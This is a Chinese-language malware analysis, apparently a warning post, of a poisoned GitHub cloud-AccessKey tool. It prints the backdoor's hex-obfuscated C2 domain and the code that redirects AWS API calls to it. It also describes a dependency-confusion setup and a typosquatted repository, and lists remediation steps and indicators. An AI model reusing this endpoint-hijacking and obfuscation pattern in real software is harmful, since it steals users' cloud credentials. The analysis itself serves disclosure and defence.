项目概述
| 属性 | 值 |
|---|---|
| 仓库地址 | https://github.com/kohlersbtuh15/accesskey_tools |
| 作者 | kohlersbtuh15 ([email protected]) |
| 标签 | 1.2 |
| 最后更新 | 2026-06-04 |
| 仓库描述 | 多云环境 AccessKey 综合利用工具 |

评论区出现大量辱骂投毒者的issues,但都被投毒者快速的关闭了。

issues 被投毒者关闭了

攻击架构总览
%%{init:{
"flowchart":{
"nodeSpacing":40,
"rankSpacing":55
}
}}%%
graph TB
subgraph Victim["👤 受害者"]
User["安全研究员 / 红队成员"]
AK["AWS AccessKeyID<br/>AWS AccessKeySecret"]
end
subgraph Tool["🔧 accesskey_tools(恶意工具)"]
direction TB
Config["config.py<br/>收集用户 AK/SK"]
Backdoor["后门核心<br/>iam_md5 变量"]
MalDeps["恶意依赖<br/>PyPI 投毒"]
FakePkg["仿冒 GitHub 包<br/>enumerate-iam"]
end
subgraph C2["🏴 攻击者基础设施"]
MalDomain["api.aliyun-sdk-requests.xyz<br/>(C2 域名)"]
FakePyPI["PyPI 恶意包<br/>acloud-client<br/>credential-python-sdk<br/>tcloud-python-test"]
FakeRepo["andresrianch/enumerate-iam<br/>(仿冒仓库)"]
end
subgraph Cloud["☁️ 云平台"]
AWS["AWS 服务<br/>STS / EC2 / IAM / SSM"]
Aliyun["阿里云"]
Tencent["腾讯云"]
end
User -->|"1. 下载安装"| Tool
Config -->|"2. 输入 AK/SK"| AK
AK -->|"3. API 请求被劫持"| Backdoor
Backdoor -->|"4. 重定向到恶意域名"| MalDomain
MalDeps -->|"pip install"| FakePyPI
FakePkg -->|"自动下载"| FakeRepo
MalDomain -->|"5. 窃取凭证"| AK
AK -->|"6. 攻击者获取完整权限"| AWS
AK -->|"6. 攻击者获取完整权限"| Aliyun
AK -->|"6. 攻击者获取完整权限"| Tencent
style Victim fill:#e0f2fe,stroke:#0284c7,color:#0c4a6e
style Tool fill:#fef2f2,stroke:#dc2626,color:#7f1d1d
style C2 fill:#fef3c7,stroke:#d97706,color:#78350f
style Cloud fill:#f0fdf4,stroke:#16a34a,color:#14532d
style Backdoor fill:#fee2e2,stroke:#b91c1c,color:#7f1d1d
style MalDomain fill:#fef3c7,stroke:#b45309,color:#78350f
style FakePyPI fill:#fef3c7,stroke:#b45309,color:#78350f
style FakeRepo fill:#fef3c7,stroke:#b45309,color:#78350f
核心后门:API 端点劫持
后门原理
%%{init:{
"flowchart":{
"nodeSpacing":60,
"rankSpacing":90
}
}}%%
sequenceDiagram
participant User as 👤 用户
participant Tool as 🔧 工具代码
participant C2 as 🏴 C2 服务器
participant AWS as ☁️ AWS 官方
User->>Tool: 输入 AccessKeyID / Secret
Tool->>Tool: 读取 iam_md5 变量
Note over Tool: iam_md5 = "16170692e616c...<br/>Hex 解码 → api.aliyun-sdk-requests.xyz/"
Tool->>C2: API 请求发送到恶意域名 ❌
Note over C2: 窃取 AK/SK + 请求参数
C2-->>Tool: 返回伪造响应(或透传)
Tool-->>User: 显示结果(用户无感知)
Note over AWS: ❌ 从未收到合法请求
Hex 编码解码过程
原始字符串: "16170692e616c6979756e2d73646b2d72657175657374732e78797a2f"
↓ 去掉首字符 '1'
截取字符串: "6170692e616c6979756e2d73646b2d72657175657374732e78797a2f"
↓ 每2位 Hex → ASCII
解码结果: "api.aliyun-sdk-requests.xyz/"
受影响文件清单
%%{init:{
"flowchart":{
"nodeSpacing":60,
"rankSpacing":90
}
}}%%
graph LR
subgraph Entry["入口文件"]
IAM["aws/aws_select_iam.py<br/>定义 iam_md5 变量"]
end
subgraph Consumers["使用 iam_md5 的文件"]
EC2["aws/aws_ec2_exec.py<br/>EC2 命令执行"]
EC2N["aws/aws_ec2_exec_noinfo.py<br/>EC2 命令执行(无信息)"]
URL["aws/aws_url_console.py<br/>控制台接管"]
SSH["aws/aws_push_sshpub.py<br/>SSH 公钥注入"]
SEC["aws/aws_security_ingress_add.py<br/>安全组修改"]
Route["aws/aws_select_route53.py<br/>Route53 DNS"]
end
IAM -->|"from aws_select_iam import iam_md5"| EC2
IAM -->|"from aws_select_iam import iam_md5"| EC2N
IAM -->|"from aws_select_iam import iam_md5"| URL
IAM -->|"from aws_select_iam import iam_md5"| SSH
IAM -->|"from aws_select_iam import iam_md5"| SEC
IAM -->|"from aws_select_iam import iam_md5"| Route
style Entry fill:#fee2e2,stroke:#b91c1c
style Consumers fill:#fef2f2,stroke:#f87171
style IAM fill:#fecaca,stroke:#dc2626
后门注入点代码
aws/aws_select_iam.py 第 32 行:
# 变量名伪装为 MD5 哈希,实际是 Hex 编码的恶意域名
iam_md5 = "16170692e616c6979756e2d73646b2d72657175657374732e78797a2f"
aws/aws_url_console.py 使用方式:
from aws_select_iam import iam_md5
component = ComponentLocator()
# 将恶意域名注册为 AWS 端点,劫持所有 API 请求
component.register_component(name='AWS_ENDPOINT', component=iam_md5[1:])
sts_client = get_client(..., components=component)
第二后门:依赖混淆攻击
恶意依赖分析
%%{init:{
"flowchart":{
"nodeSpacing":60,
"rankSpacing":90
}
}}%%
graph TD
subgraph Requirements["requirements.txt 文件"]
R1["aliyun/requirements.txt"]
R2["tencentcloud/requirements.txt"]
end
subgraph Legit["✅ 合法包"]
L1["aliyun-python-sdk-core"]
L2["tencentcloud-sdk-python"]
L3["boto3"]
L4["PySocks"]
L5["oss2"]
end
subgraph Malicious["❌ PyPI 上不存在的包"]
M1["acloud-client<br/>❌ 不存在"]
M2["credential-python-sdk<br/>❌ 不存在"]
M3["tcloud-python-test<br/>❌ 不存在"]
end
subgraph Attack["⚔️ 攻击向量"]
DC["依赖混淆<br/>Dependency Confusion"]
Reg["攻击者注册同名恶意包"]
end
R1 --> L1 & L4 & L5
R1 --> M1 & M2
R2 --> L2 & L4
R2 --> M3
M1 --> DC
M2 --> DC
M3 --> DC
DC --> Reg
style Legit fill:#f0fdf4,stroke:#16a34a
style Malicious fill:#fef2f2,stroke:#dc2626
style Attack fill:#fef3c7,stroke:#d97706
style M1 fill:#fecaca,stroke:#dc2626
style M2 fill:#fecaca,stroke:#dc2626
style M3 fill:#fecaca,stroke:#dc2626
第三后门:仿冒 GitHub 仓库
Typosquatting 攻击
%%{init:{
"flowchart":{
"nodeSpacing":60,
"rankSpacing":90
}
}}%%
graph LR
subgraph Original["✅ 正版仓库"]
O["andresriancho/enumerate-iam<br/>⭐ 1241 stars<br/>知名安全工具"]
end
subgraph Fake["❌ 仿冒仓库"]
F["andresrianch/enumerate-iam<br/>⭐ 1 star<br/>2025-11-17 创建<br/>非 Fork(独立仓库)"]
end
subgraph Code["代码注入点"]
C["aws/aws_select_iam.py<br/>自动从仿冒仓库下载 .whl"]
end
O -.->|"仅差一个字母<br/>o → h"| F
C -->|"pip install<br/>https://github.com/andresrianch/<br/>enumerate-iam/releases/..."| F
style Original fill:#f0fdf4,stroke:#16a34a
style Fake fill:#fef2f2,stroke:#dc2626
style Code fill:#fef3c7,stroke:#d97706
style F fill:#fecaca,stroke:#dc2626
仿冒仓库对比
| 属性 | 正版 (andresriancho) | 仿冒 (andresrianch) |
|---|---|---|
| Stars | 1241 | 1 |
| 创建时间 | 较早 | 2025-11-17 |
| Fork 标记 | - | 否(独立仓库) |
| 可信度 | 高 | 极低 |
完整攻击链
%%{init:{
"flowchart":{
"nodeSpacing":60,
"rankSpacing":90
}
}}%%
flowchart TD
A["👤 用户发现 accesskey_tools"] --> B["📥 git clone 仓库"]
B --> C["📦 pip install -r requirements.txt"]
C --> D["触发依赖混淆攻击"]
D --> D1["acloud-client(恶意包)"]
D --> D2["credential-python-sdk(恶意包)"]
D --> D3["tcloud-python-test(恶意包)"]
C --> E["运行 aws_select_iam.py"]
E --> F["自动下载仿冒 enumerate-iam"]
F --> F1["andresrianch/enumerate-iam<br/>(可能含后门代码)"]
E --> G["用户输入 AK/SK"]
G --> H["API 请求被劫持"]
H --> H1["iam_md5 解码为<br/>api.aliyun-sdk-requests.xyz/"]
H1 --> I["🏴 攻击者 C2 服务器"]
I --> J["窃取的凭证"]
J --> K1["接管 AWS 控制台<br/>(Federation Token)"]
J --> K2["执行 EC2 命令<br/>(SSM)"]
J --> K3["注入 SSH 密钥"]
J --> K4["修改安全组规则"]
J --> K5["枚举所有 IAM 权限"]
J --> K6["下载 S3/OSS/COS 数据"]
style A fill:#e0f2fe,stroke:#0284c7
style D fill:#fef2f2,stroke:#dc2626
style D1 fill:#fecaca,stroke:#dc2626
style D2 fill:#fecaca,stroke:#dc2626
style D3 fill:#fecaca,stroke:#dc2626
style F fill:#fef3c7,stroke:#d97706
style F1 fill:#fef3c7,stroke:#d97706
style H1 fill:#fef2f2,stroke:#dc2626
style I fill:#fef3c7,stroke:#d97706
style K1 fill:#fee2e2,stroke:#b91c1c
style K2 fill:#fee2e2,stroke:#b91c1c
style K3 fill:#fee2e2,stroke:#b91c1c
style K4 fill:#fee2e2,stroke:#b91c1c
style K5 fill:#fee2e2,stroke:#b91c1c
style K6 fill:#fee2e2,stroke:#b91c1c
Issues 分析
%%{init:{
"flowchart":{
"nodeSpacing":60,
"rankSpacing":90
}
}}%%
timeline
title accesskey_tools 相关 Issues 时间线
section Issues
Issue #1 Create SECURITY.md
: 指出项目包含恶意依赖风险
Issue #2 操你妈的臭逼后门狗
: 愤怒指控项目存在后门
Issue #3 重生之我在accesskey_tools投毒偷aksk
: 指控项目投毒窃取 AK/SK
Issue #4 人身攻击
: 对作者的辱骂
Issue #5 人身攻击
: 对作者的辱骂
域名伪装分析
%%{init:{
"flowchart":{
"nodeSpacing":60,
"rankSpacing":90
}
}}%%
graph LR
subgraph Legit["✅ 合法域名"]
D1["ecs.aliyuncs.com"]
D2["sts.amazonaws.com"]
D3["signin.aws.amazon.com"]
end
subgraph Malicious["❌ 恶意域名"]
D4["api.aliyun-sdk-requests.xyz"]
end
D4 -.->|"故意模仿"| D1
style Legit fill:#f0fdf4,stroke:#16a34a
style Malicious fill:#fef2f2,stroke:#dc2626
style D4 fill:#fecaca,stroke:#dc2626
| 对比项 | 合法域名 | 恶意域名 |
|---|---|---|
| 域名 | *.aliyuncs.com |
aliyun-sdk-requests.xyz |
| TLD | .com(商业) |
.xyz(廉价匿名) |
| 运营方 | 阿里云 | 未知攻击者 |
| 用途 | 云服务 API | 窃取凭证 |
影响范围
%%{init:{
"flowchart":{
"nodeSpacing":60,
"rankSpacing":90
}
}}%%
pie title 受影响云平台分布
"AWS(主要目标)" : 5
"阿里云" : 2
"腾讯云" : 1
pie title 后门类型分布
"API 端点劫持" : 5
"依赖混淆投毒" : 3
"仿冒仓库" : 1
风险评估
%%{init:{
"flowchart":{
"nodeSpacing":60,
"rankSpacing":90
}
}}%%
quadrantChart
title 后门风险评估矩阵
x-axis 低检测难度 --> 高检测难度
y-axis 低影响 --> 高影响
quadrant-1 高风险 - 需立即处理
quadrant-2 关注 - 需持续监控
quadrant-3 可接受 - 常规处理
quadrant-4 注意 - 需评估
"API 端点劫持": [0.3, 0.9]
"依赖混淆": [0.6, 0.5]
"仿冒仓库": [0.7, 0.7]
"Hex 编码混淆": [0.4, 0.8]
修复建议
紧急措施
%%{init:{
"flowchart":{
"nodeSpacing":60,
"rankSpacing":90
}
}}%%
flowchart LR
A["🚨 立即行动"] --> B["轮换所有云凭证"]
B --> C["检查云账户异常"]
C --> D["审查安全组规则"]
D --> E["检查 IAM 策略变更"]
style A fill:#fee2e2,stroke:#dc2626
style B fill:#fef3c7,stroke:#d97706
style C fill:#fef3c7,stroke:#d97706
style D fill:#fef3c7,stroke:#d97706
style E fill:#fef3c7,stroke:#d97706
- 立即轮换所有使用过此工具的云平台 AccessKey
- 检查 AWS CloudTrail / 阿里云 ActionTrail 中的异常 API 调用
- 审查 安全组规则是否被篡改(特别是 SSH 端口 22)
- 检查 IAM 用户/策略是否被创建或修改
- 审查 EC2 实例是否有异常的 SSM 命令执行记录
- 检查 S3/OSS/COS 存储桶的访问日志
IOC
api.aliyun-sdk-requests.xyz-
92.119.178.56
我已经向GitHub官方举报!
最近又快到了HW的时候,又开始钓鱼了!各位同行谨慎行事!

